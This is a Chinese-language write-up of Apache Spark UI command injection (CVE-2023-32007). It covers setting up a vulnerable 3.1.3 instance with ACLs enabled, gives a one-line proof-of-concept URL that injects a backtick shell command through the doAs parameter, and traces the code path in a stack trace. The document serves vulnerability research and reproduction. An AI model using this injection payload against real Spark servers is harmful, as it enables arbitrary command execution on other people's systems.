Apache Spark UI 命令注入漏洞 CVE-2023-32007
漏洞简介
Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。使用身份验证过滤器,这会检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后,恶意用户可能能够访问权限检查功能,该功能最终将根据他们的输入构建 Unix shell 命令并执行它。这将导致任意 shell 命令执行,因为用户 Spark 当前正在运行。此问题早先被披露为 CVE-2022-33891,但错误地声称版本 3.1.3(此后已停产)不会受到影响。此漏洞仅影响维护者不再支持的产品。建议用户升级到支持的 Apache Spark 版本,例如 3.4.0 版本。
环境搭建
https://archive.apache.org/dist/spark/spark-3.1.3/spark-3.1.3-bin-hadoop2.7.tgz
下载存在漏洞的 spark 版本,在启动时通过设定 ./spark-shell --conf spark.acls.enable=true
开启 ACL
也可以通过在 conf/spark-defaults.conf
中添加参数 spark.acls.enable true
开启 ACL
漏洞复现
构造 poc
http://127.0.0.1:4040/jobs/?doAs=`calc.exe`
漏洞分析
.\spark-shell.cmd --driver-java-options "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" --conf spark.acls.enable=true
故意输入错误的参数,尝试查看报错提示
看到了整个代码的执行流程,从入口处直接到执行处
看到最后的代码是 executeAndGetOutput
org.apache.spark.util.Utils$.executeAndGetOutput(Utils.scala:1332)
org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups(ShellBasedGroupsMappingProvider.scala:43)
org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups(ShellBasedGroupsMappingProvider.scala:34)
org.apache.spark.util.Utils$.getCurrentUserGroups(Utils.scala:2500)
org.apache.spark.SecurityManager.isUserInACL(SecurityManager.scala:381)
org.apache.spark.SecurityManager.checkUIViewPermissions(SecurityManager.scala:238)
org.apache.spark.ui.HttpSecurityFilter.doFilter(HttpSecurityFilter.scala:71)
org.apache.spark.ui.HttpSecurityFilter#doFilter
org.apache.spark.SecurityManager#checkUIViewPermissions
org.apache.spark.SecurityManager#isUserInACL
org.apache.spark.util.Utils$#getCurrentUserGroups
org.apache.spark.security.ShellBasedGroupsMappingProvider#getGroups
org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups
org.apache.spark.util.Utils$#executeAndGetOutput
org.apache.spark.util.Utils$#executeCommand